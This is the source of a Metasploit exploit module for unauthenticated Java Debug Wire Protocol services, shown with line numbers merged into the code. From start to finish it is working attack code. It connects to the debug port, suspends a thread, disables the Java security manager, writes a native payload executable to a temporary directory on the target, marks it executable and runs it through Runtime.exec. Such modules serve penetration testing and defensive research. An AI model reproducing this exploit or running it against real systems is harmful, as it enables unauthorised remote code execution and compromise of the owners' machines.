Path: blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb
31274 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112HANDSHAKE = 'JDWP-Handshake'1314REQUEST_PACKET_TYPE = 0x0015REPLY_PACKET_TYPE = 0x801617# Command signatures18VERSION_SIG = [1, 1]19CLASSESBYSIGNATURE_SIG = [1, 2]20ALLCLASSES_SIG = [1, 3]21ALLTHREADS_SIG = [1, 4]22IDSIZES_SIG = [1, 7]23CREATESTRING_SIG = [1, 11]24SUSPENDVM_SIG = [1, 8]25RESUMEVM_SIG = [1, 9]26SIGNATURE_SIG = [2, 1]27FIELDS_SIG = [2, 4]28METHODS_SIG = [2, 5]29GETVALUES_SIG = [2, 6]30CLASSOBJECT_SIG = [2, 11]31SETSTATICVALUES_SIG = [3, 2]32INVOKESTATICMETHOD_SIG = [3, 3]33CREATENEWINSTANCE_SIG = [3, 4]34ARRAYNEWINSTANCE_SIG = [4, 1]35REFERENCETYPE_SIG = [9, 1]36INVOKEMETHOD_SIG = [9, 6]37STRINGVALUE_SIG = [10, 1]38THREADNAME_SIG = [11, 1]39THREADSUSPEND_SIG = [11, 2]40THREADRESUME_SIG = [11, 3]41THREADSTATUS_SIG = [11, 4]42ARRAYSETVALUES_SIG = [13, 3]43EVENTSET_SIG = [15, 1]44EVENTCLEAR_SIG = [15, 2]45EVENTCLEARALL_SIG = [15, 3]4647# Other codes48MODKIND_COUNT = 149MODKIND_THREADONLY = 250MODKIND_CLASSMATCH = 551MODKIND_LOCATIONONLY = 752MODKIND_STEP = 1053EVENT_BREAKPOINT = 254EVENT_STEP = 155SUSPEND_EVENTTHREAD = 156SUSPEND_ALL = 257NOT_IMPLEMENTED = 9958VM_DEAD = 11259INVOKE_SINGLE_THREADED = 260TAG_OBJECT = 7661TAG_STRING = 11562TYPE_CLASS = 163TAG_ARRAY = 9164TAG_VOID = 8665TAG_THREAD = 11666STEP_INTO = 067STEP_MIN = 068THREAD_SLEEPING_STATUS = 26970def initialize71super(72'Name' => 'Java Debug Wire Protocol Remote Code Execution',73'Description' => %q{74This module abuses exposed Java Debug Wire Protocol services in order75to execute arbitrary Java code remotely. It just abuses the protocol76features, since no authentication is required if the service is enabled.77},78'Author' => [79'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help80'Christophe Alladoum', # JDWP Analysis and Exploit81'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module82],83'References' => [84['OSVDB', '96066'],85['EDB', '27179'],86['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],87['URL', 'https://seclists.org/nmap-dev/2010/q1/867'],88['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],89['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],90['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']91],92'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],93'Payload' => {94'Space' => 10000000,95'BadChars' => '',96'DisableNops' => true97},98'Targets' => [99[ 'Linux (Native Payload)', { 'Platform' => 'linux' } ],100[ 'OSX (Native Payload)', { 'Platform' => 'osx' } ],101[ 'Windows (Native Payload)', { 'Platform' => 'win' } ]102],103'DefaultTarget' => 0,104'License' => MSF_LICENSE,105'DisclosureDate' => 'Mar 12 2010'106)107108register_options(109[110Opt::RPORT(8000),111OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),112OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),113]114)115116register_advanced_options(117[118OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),119]120)121end122123def check124connect125res = handshake126disconnect127128if res.nil?129return Exploit::CheckCode::Unknown130elsif res == HANDSHAKE131return Exploit::CheckCode::Appears132end133134Exploit::CheckCode::Safe135end136137def default_timeout138datastore['RESPONSE_TIMEOUT']139end140141# Establishes handshake with the server142def handshake143sock.put(HANDSHAKE)144return sock.get_once(-1, datastore['RESPONSE_TIMEOUT'])145end146147# Forges packet for JDWP protocol148def create_packet(cmdsig, data = '')149flags = 0x00150cmdset, cmd = cmdsig151pktlen = data.length + 11152buf = [pktlen, @my_id, flags, cmdset, cmd]153pkt = buf.pack('NNCCC')154pkt << data155@my_id += 2156pkt157end158159# Reads packet response for JDWP protocol160def read_reply(timeout = default_timeout)161length = sock.get_once(4, timeout)162fail_with(Failure::TimeoutExpired, "#{peer} - Not received response length") unless length163pkt_len = length.unpack('N')[0]164if pkt_len < 4165fail_with(Failure::Unknown, "#{peer} - Received corrupted response")166end167_, flags, err_code = sock.get_once(7, timeout).unpack('NCn')168if err_code != 0 && flags == REPLY_PACKET_TYPE169fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{err_code}")170end171172response = ''173while response.length + 11 < pkt_len174partial = sock.get_once(pkt_len, timeout)175fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless partial176response << partial177end178fail_with(Failure::Unknown, "#{peer} - Received corrupted response") unless response.length + 11 == pkt_len179response180end181182# Returns the characters contained in the string defined in target VM183def solve_string(data)184sock.put(create_packet(STRINGVALUE_SIG, data))185response = read_reply186return '' unless response187188return read_string(response)189end190191# Unpacks received string structure from the server response into a normal string192def read_string(data)193data_len = data.unpack('N')[0]194return data[4, data_len]195end196197# Creates a new string object in the target VM and returns its id198def create_string(data)199buf = build_string(data)200sock.put(create_packet(CREATESTRING_SIG, buf))201buf = read_reply202return parse_entries(buf, [[@vars['objectid_size'], 'obj_id']], false)203end204205# Packs normal string into string structure for target VM206def build_string(data)207ret = [data.length].pack('N')208ret << data209210ret211end212213# Pack Integer for JDWP protocol214def format(fmt, value)215if fmt == 'L' || fmt == 8216return [value].pack('Q>')217elsif fmt == 'I' || fmt == 4218return [value].pack('N')219end220221fail_with(Failure::Unknown, 'Unknown format')222end223224# Unpack Integer from JDWP protocol225def unformat(fmt, value)226if fmt == 'L' || fmt == 8227return value[0..7].unpack('Q>')[0]228elsif fmt == 'I' || fmt == 4229return value[0..3].unpack('N')[0]230end231232fail_with(Failure::Unknown, 'Unknown format')233end234235# Parses given data according to a set of formats236def parse_entries(buf, formats, explicit = true)237entries = []238index = 0239240if explicit241nb_entries = buf.unpack('N')[0]242buf = buf[4..-1]243else244nb_entries = 1245end246247nb_entries.times do |var|248if var != 0 && var % 1000 == 0249vprint_status("Parsed #{var} classes of #{nb_entries}")250end251252data = {}253254formats.each do |fmt, name|255if fmt == 'L' || fmt == 8256data[name] = buf[index, 8].unpack('Q>')[0]257index += 8258elsif fmt == 'I' || fmt == 4259data[name] = buf[index, 4].unpack('N')[0]260index += 4261elsif fmt == 'S'262data_len = buf[index, 4].unpack('N')[0]263data[name] = buf[index + 4, data_len]264index += 4 + data_len265elsif fmt == 'C'266data[name] = buf[index].unpack('C')[0]267index += 1268elsif fmt == 'Z'269t = buf[index].unpack('C')[0]270if t == 115271data[name] = solve_string(buf[index + 1, 8])272index += 9273elsif t == 73274data[name], buf = buf[index + 1, 4].unpack('NN')275end276else277fail_with(Failure::UnexpectedReply, 'Unexpected data when parsing server response')278end279end280entries.append(data)281end282283entries284end285286# Gets the sizes of variably-sized data types in the target VM287def get_sizes288formats = [289['I', 'fieldid_size'],290['I', 'methodid_size'],291['I', 'objectid_size'],292['I', 'referencetypeid_size'],293['I', 'frameid_size']294]295sock.put(create_packet(IDSIZES_SIG))296response = read_reply297entries = parse_entries(response, formats, false)298entries.each { |e| @vars.merge!(e) }299end300301# Gets the JDWP version implemented by the target VM302def get_version303formats = [304['S', 'descr'],305['I', 'jdwp_major'],306['I', 'jdwp_minor'],307['S', 'vm_version'],308['S', 'vm_name']309]310sock.put(create_packet(VERSION_SIG))311response = read_reply312entries = parse_entries(response, formats, false)313entries.each { |e| @vars.merge!(e) }314end315316def version317"#{@vars['vm_name']} - #{@vars['vm_version']}"318end319320# Returns reference for all threads currently running on target VM321def get_all_threads322sock.put(create_packet(ALLTHREADS_SIG))323response = read_reply324num_threads = response.unpack('N').first325index = 4326327size = @vars['objectid_size']328num_threads.times do329t_id = unformat(size, response[index, size])330@threads[t_id] = nil331index += size332end333end334335# Returns reference types for all classes currently loaded by the target VM336def get_all_classes337return unless @classes.empty?338339formats = [340['C', 'reftype_tag'],341[@vars['referencetypeid_size'], 'reftype_id'],342['S', 'signature'],343['I', 'status']344]345sock.put(create_packet(ALLCLASSES_SIG))346response = read_reply347@classes.append(parse_entries(response, formats))348end349350# Checks if specified class is currently loaded by the target VM and returns it351def get_class_by_name(name)352@classes.each do |entry_array|353entry_array.each do |entry|354if entry['signature'].downcase == name.downcase355return entry356end357end358end359360nil361end362363# Returns information for each method in a reference type (ie. object). Inherited methods are not included.364# The list of methods will include constructors (identified with the name "<init>")365def get_methods(reftype_id)366if @methods.has_key?(reftype_id)367return @methods[reftype_id]368end369370formats = [371[@vars['methodid_size'], 'method_id'],372['S', 'name'],373['S', 'signature'],374['I', 'mod_bits']375]376ref_id = format(@vars['referencetypeid_size'], reftype_id)377sock.put(create_packet(METHODS_SIG, ref_id))378response = read_reply379@methods[reftype_id] = parse_entries(response, formats)380end381382# Returns information for each field in a reference type (ie. object)383def get_fields(reftype_id)384formats = [385[@vars['fieldid_size'], 'field_id'],386['S', 'name'],387['S', 'signature'],388['I', 'mod_bits']389]390ref_id = format(@vars['referencetypeid_size'], reftype_id)391sock.put(create_packet(FIELDS_SIG, ref_id))392response = read_reply393fields = parse_entries(response, formats)394395fields396end397398# Returns the value of one static field of the reference type. The field must be member of the reference type399# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;400# for example, the values of private fields can be obtained.401def get_value(reftype_id, field_id)402data = format(@vars['referencetypeid_size'], reftype_id)403data << [1].pack('N')404data << format(@vars['fieldid_size'], field_id)405406sock.put(create_packet(GETVALUES_SIG, data))407response = read_reply408num_values = response.unpack('N')[0]409410unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)411fail_with(Failure::Unknown, 'Bad response when getting value for field')412end413414len = @vars['objectid_size']415value = unformat(len, response[5..-1])416417value418end419420# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,421# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of422# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match423# the field's type exactly. For object values, there must exist a widening reference conversion from the424# value's type to the field's type and the field's type must be loaded.425def set_value(reftype_id, field_id, value)426data = format(@vars['referencetypeid_size'], reftype_id)427data << [1].pack('N')428data << format(@vars['fieldid_size'], field_id)429data << format(@vars['objectid_size'], value)430431sock.put(create_packet(SETSTATICVALUES_SIG, data))432read_reply433end434435# Checks if specified method is currently loaded by the target VM and returns it436def get_method_by_name(classname, name, signature = nil)437@methods[classname].each do |entry|438if signature.nil?439return entry if entry['name'].downcase == name.downcase440elsif entry['name'].downcase == name.downcase && entry['signature'].downcase == signature.downcase441return entry442end443end444445nil446end447448# Checks if specified class and method are currently loaded by the target VM and returns them449def get_class_and_method(looked_class, looked_method, signature = nil)450target_class = get_class_by_name(looked_class)451unless target_class452fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")453end454455get_methods(target_class['reftype_id'])456target_method = get_method_by_name(target_class['reftype_id'], looked_method, signature)457unless target_method458fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")459end460461return target_class, target_method462end463464# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")465def str_to_fq_class(s)466i = s.rindex('.')467unless i468fail_with(Failure::BadConfig, 'Bad defined break class')469end470471method = s[i + 1..-1] # Subtr of s, from last '.' to the end of the string472473classname = 'L'474classname << s[0..i - 1].gsub(/[.]/, '/')475classname << ';'476477return classname, method478end479480# Gets the status of a given thread481def thread_status(thread_id)482sock.put(create_packet(THREADSTATUS_SIG, format(@vars['objectid_size'], thread_id)))483buf = read_reply(datastore['BREAK_TIMEOUT'])484unless buf485fail_with(Failure::Unknown, 'No network response')486end487status, = buf.unpack('NN')488489status490end491492# Resumes execution of the application or thread after the suspend command or an event has stopped it493def resume_vm(thread_id = nil)494if thread_id.nil?495sock.put(create_packet(RESUMEVM_SIG))496else497sock.put(create_packet(THREADRESUME_SIG, format(@vars['objectid_size'], thread_id)))498end499500response = read_reply(datastore['BREAK_TIMEOUT'])501unless response502fail_with(Failure::Unknown, 'No network response')503end504505response506end507508# Suspend execution of the application or thread509def suspend_vm(thread_id = nil)510if thread_id.nil?511sock.put(create_packet(SUSPENDVM_SIG))512else513sock.put(create_packet(THREADSUSPEND_SIG, format(@vars['objectid_size'], thread_id)))514end515516response = read_reply517unless response518fail_with(Failure::Unknown, 'No network response')519end520521response522end523524# Sets an event request. When the event described by this request occurs, an event is sent from the target VM525def send_event(event_code, args)526data = [event_code].pack('C')527data << [SUSPEND_ALL].pack('C')528data << [args.length].pack('N')529530args.each do |kind, option|531data << [kind].pack('C')532data << option533end534535sock.put(create_packet(EVENTSET_SIG, data))536response = read_reply537unless response538fail_with(Failure::Unknown, "#{peer} - No network response")539end540return response.unpack('N')[0]541end542543# Parses a received event and compares it with the expected544def parse_event(buf, event_id, thread_id)545len = @vars['objectid_size']546return false if buf.length < 10 + len - 1547548r_id = buf[6..9].unpack('N')[0]549t_id = unformat(len, buf[10..10 + len - 1])550551return (event_id == r_id) && (thread_id == t_id)552end553554# Clear a defined event request555def clear_event(event_code, r_id)556data = [event_code].pack('C')557data << [r_id].pack('N')558sock.put(create_packet(EVENTCLEAR_SIG, data))559read_reply560end561562# Invokes a static method. The method must be member of the class type or one of its superclasses,563# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private564# methods can be invoked.565def invoke_static(class_id, thread_id, meth_id, args = [])566data = format(@vars['referencetypeid_size'], class_id)567data << format(@vars['objectid_size'], thread_id)568data << format(@vars['methodid_size'], meth_id)569data << [args.length].pack('N')570571args.each do |arg|572data << arg573data << [0].pack('N')574end575576sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))577buf = read_reply578buf579end580581# Invokes a instance method. The method must be member of the object's type or one of its superclasses,582# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods583# can be invoked.584def invoke(obj_id, thread_id, class_id, meth_id, args = [])585data = format(@vars['objectid_size'], obj_id)586data << format(@vars['objectid_size'], thread_id)587data << format(@vars['referencetypeid_size'], class_id)588data << format(@vars['methodid_size'], meth_id)589data << [args.length].pack('N')590591args.each do |arg|592data << arg593data << [0].pack('N')594end595596sock.put(create_packet(INVOKEMETHOD_SIG, data))597buf = read_reply598buf599end600601# Creates a new object of specified class, invoking the specified constructor. The constructor602# method ID must be a member of the class type.603def create_instance(class_id, thread_id, meth_id, args = [])604data = format(@vars['referencetypeid_size'], class_id)605data << format(@vars['objectid_size'], thread_id)606data << format(@vars['methodid_size'], meth_id)607data << [args.length].pack('N')608609args.each do |arg|610data << arg611data << [0].pack('N')612end613614sock.put(create_packet(CREATENEWINSTANCE_SIG, data))615buf = read_reply616buf617end618619# Creates a byte[]620def create_array(len)621target_class = get_class_by_name('[B')622fail_with(Failure::Unknown, 'target_class is nil') if target_class.nil?623624type_id = target_class['reftype_id']625fail_with(Failure::Unknown, 'type_id is nil') if type_id.nil?626627data = format(@vars['referencetypeid_size'], type_id)628data << [len].pack('N')629630sock.put(create_packet(ARRAYNEWINSTANCE_SIG, data))631buf = read_reply632buf633end634635# Initializes the byte[] with values636def set_values(obj_id, args = [])637data = format(@vars['objectid_size'], obj_id)638data << [0].pack('N')639data << [args.length].pack('N')640641args.each do |arg|642data << [arg].pack('C')643end644645sock.put(create_packet(ARRAYSETVALUES_SIG, data))646read_reply647end648649def temp_path650return nil unless datastore['TMP_PATH']651652unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')653fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')654end655datastore['TMP_PATH']656end657658# Configures payload according to targeted architecture659def setup_payload660# 1. Setting up generic values.661payload_exe = rand_text_alphanumeric(rand(4..7))662pl_exe = generate_payload_exe663664# 2. Setting up arch specific...665case target['Platform']666when 'linux'667path = temp_path || '/tmp/'668payload_exe = "#{path}#{payload_exe}"669when 'osx'670path = temp_path || '/private/tmp/'671payload_exe = "#{path}#{payload_exe}"672when 'win'673path = temp_path || './'674payload_exe = "#{path}#{payload_exe}.exe"675end676677if @os.downcase =~ /target['Platform']/678print_warning("#{@os} system detected but using #{target['Platform']} target...")679end680681return payload_exe, pl_exe682end683684# Invokes java.lang.System.getProperty() for OS fingerprinting purposes685def fingerprint_os(thread_id)686size = @vars['objectid_size']687688# 1. Creates a string on target VM with the property to be getted689cmd_obj_ids = create_string('os.name')690fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping') if cmd_obj_ids.length == 0691cmd_obj_id = cmd_obj_ids[0]['obj_id']692693# 2. Gets property694data = [TAG_OBJECT].pack('C')695data << format(size, cmd_obj_id)696data_array = [data]697runtime_class, runtime_meth = get_class_and_method('Ljava/lang/System;', 'getProperty')698buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)699fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected String') unless buf[0] == [TAG_STRING].pack('C')700701str = unformat(size, buf[1..1 + size - 1])702@os = solve_string(format(@vars['objectid_size'], str))703end704705# Creates a file on the server given a execution thread706def create_file(thread_id, filename)707cmd_obj_ids = create_string(filename)708fail_with(Failure::Unknown, 'Failed to allocate string for filename') if cmd_obj_ids.length == 0709710cmd_obj_id = cmd_obj_ids[0]['obj_id']711size = @vars['objectid_size']712data = [TAG_OBJECT].pack('C')713data << format(size, cmd_obj_id)714data_array = [data]715runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', '<init>', '(Ljava/lang/String;)V')716buf = create_instance(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'], data_array)717fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object') unless buf[0] == [TAG_OBJECT].pack('C')718719file = unformat(size, buf[1..1 + size - 1])720fail_with(Failure::Unknown, 'Failed to create file. Try to change the TMP_PATH') if file.nil? || (file == 0)721722register_files_for_cleanup(filename)723724file725end726727# Stores the payload on a new string created in target VM728def upload_payload(_thread_id, pl_exe)729size = @vars['objectid_size']730731buf = create_array(pl_exe.length)732fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Array') unless buf[0] == [TAG_ARRAY].pack('C')733734pl = unformat(size, buf[1..1 + size - 1])735fail_with(Failure::Unknown, 'Failed to create byte array to store payload') if pl.nil? || (pl == 0)736737set_values(pl, pl_exe.bytes)738pl739end740741# Dumps the payload on a opened server file given a execution thread742def dump_payload(thread_id, file, pl)743size = @vars['objectid_size']744data = [TAG_OBJECT].pack('C')745data << format(size, pl)746data_array = [data]747runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'write', '([B)V')748buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'], data_array)749unless buf[0] == [TAG_VOID].pack('C')750fail_with(Failure::Unknown, 'Exception while writing to file')751end752end753754# Closes a file on the server given a execution thread755def close_file(thread_id, file)756runtime_class, runtime_meth = get_class_and_method('Ljava/io/FileOutputStream;', 'close')757buf = invoke(file, thread_id, runtime_class['reftype_id'], runtime_meth['method_id'])758unless buf[0] == [TAG_VOID].pack('C')759fail_with(Failure::Unknown, 'Exception while closing file')760end761end762763# Executes a system command on target VM making use of java.lang.Runtime.exec()764def execute_command(thread_id, cmd)765size = @vars['objectid_size']766767# 1. Creates a string on target VM with the command to be executed768cmd_obj_ids = create_string(cmd)769if cmd_obj_ids.length == 0770fail_with(Failure::Unknown, 'Failed to allocate string for payload dumping')771end772773cmd_obj_id = cmd_obj_ids[0]['obj_id']774775# 2. Gets Runtime context776runtime_class, runtime_meth = get_class_and_method('Ljava/lang/Runtime;', 'getRuntime')777buf = invoke_static(runtime_class['reftype_id'], thread_id, runtime_meth['method_id'])778unless buf[0] == [TAG_OBJECT].pack('C')779fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')780end781782rt = unformat(size, buf[1..1 + size - 1])783if rt.nil? || (rt == 0)784fail_with(Failure::Unknown, 'Failed to invoke Runtime.getRuntime()')785end786787# 3. Finds and executes "exec" method supplying the string with the command788exec_meth = get_method_by_name(runtime_class['reftype_id'], 'exec')789if exec_meth.nil?790fail_with(Failure::BadConfig, 'Cannot find method Runtime.exec()')791end792793data = [TAG_OBJECT].pack('C')794data << format(size, cmd_obj_id)795data_array = [data]796buf = invoke(rt, thread_id, runtime_class['reftype_id'], exec_meth['method_id'], data_array)797unless buf[0] == [TAG_OBJECT].pack('C')798fail_with(Failure::UnexpectedReply, 'Unexpected returned type: expected Object')799end800end801802# Set event for stepping into a running thread803def set_step_event804# 1. Select a thread in sleeping status805t_id = nil806@threads.each_key do |thread|807if thread_status(thread) == THREAD_SLEEPING_STATUS808t_id = thread809break810end811end812fail_with(Failure::Unknown, 'Could not find a suitable thread for stepping') if t_id.nil?813814# 2. Suspend the VM before setting the event815suspend_vm816817vprint_status("Setting 'step into' event in thread: #{t_id}")818step_info = format(@vars['objectid_size'], t_id)819step_info << [STEP_MIN].pack('N')820step_info << [STEP_INTO].pack('N')821data = [[MODKIND_STEP, step_info]]822823r_id = send_event(EVENT_STEP, data)824unless r_id825fail_with(Failure::Unknown, 'Could not set the event')826end827828return r_id, t_id829end830831# Disables security manager if it's set on target JVM832def disable_sec_manager833sys_class = get_class_by_name('Ljava/lang/System;')834835fields = get_fields(sys_class['reftype_id'])836837sec_field = nil838839fields.each do |field|840sec_field = field['field_id'] if field['name'].downcase == 'security'841end842843fail_with(Failure::Unknown, 'Security attribute not found') if sec_field.nil?844845value = get_value(sys_class['reftype_id'], sec_field)846847if (value == 0)848print_good('Security manager was not set')849else850set_value(sys_class['reftype_id'], sec_field, 0)851if get_value(sys_class['reftype_id'], sec_field) == 0852print_good('Security manager has been disabled')853else854print_good('Security manager has not been disabled, trying anyway...')855end856end857end858859# Uploads & executes the payload on the target VM860def exec_payload(thread_id)861# 0. Fingerprinting OS862fingerprint_os(thread_id)863864vprint_status("Executing payload on \"#{@os}\", target version: #{version}")865866# 1. Prepares the payload867payload_exe, pl_exe = setup_payload868869# 2. Creates file on server for dumping payload870file = create_file(thread_id, payload_exe)871872# 3. Uploads payload to the server873pl = upload_payload(thread_id, pl_exe)874875# 4. Dumps uploaded payload into file on the server876dump_payload(thread_id, file, pl)877878# 5. Closes the file on the server879close_file(thread_id, file)880881# 5b. When linux arch, give execution permissions to file882if target['Platform'] == 'linux' || target['Platform'] == 'osx'883cmd = "chmod +x #{payload_exe}"884execute_command(thread_id, cmd)885end886887# 6. Executes the dumped payload888cmd = "#{payload_exe}"889execute_command(thread_id, cmd)890end891892def exploit893@my_id = 0x01894@vars = {}895@classes = []896@methods = {}897@threads = {}898@os = nil899900connect901902unless handshake == HANDSHAKE903fail_with(Failure::NotVulnerable, 'JDWP Protocol not found')904end905906print_status('Retrieving the sizes of variable sized data types in the target VM...')907get_sizes908909print_status('Getting the version of the target VM...')910get_version911912print_status('Getting all currently loaded classes by the target VM...')913get_all_classes914915print_status('Getting all running threads in the target VM...')916get_all_threads917918print_status("Setting 'step into' event...")919r_id, t_id = set_step_event920921print_status('Resuming VM and waiting for an event...')922response = resume_vm923924unless parse_event(response, r_id, t_id)925datastore['NUM_RETRIES'].times do |i|926print_status("Received #{i + 1} responses that are not a 'step into' event...")927buf = read_reply928break if parse_event(buf, r_id, t_id)929930if i == datastore['NUM_RETRIES']931fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")932end933end934end935936vprint_status("Received matching event from thread #{t_id}")937print_status('Deleting step event...')938clear_event(EVENT_STEP, r_id)939940print_status('Disabling security manager if set...')941disable_sec_manager942943print_status('Dropping and executing payload...')944exec_payload(t_id)945946disconnect947end948end949950951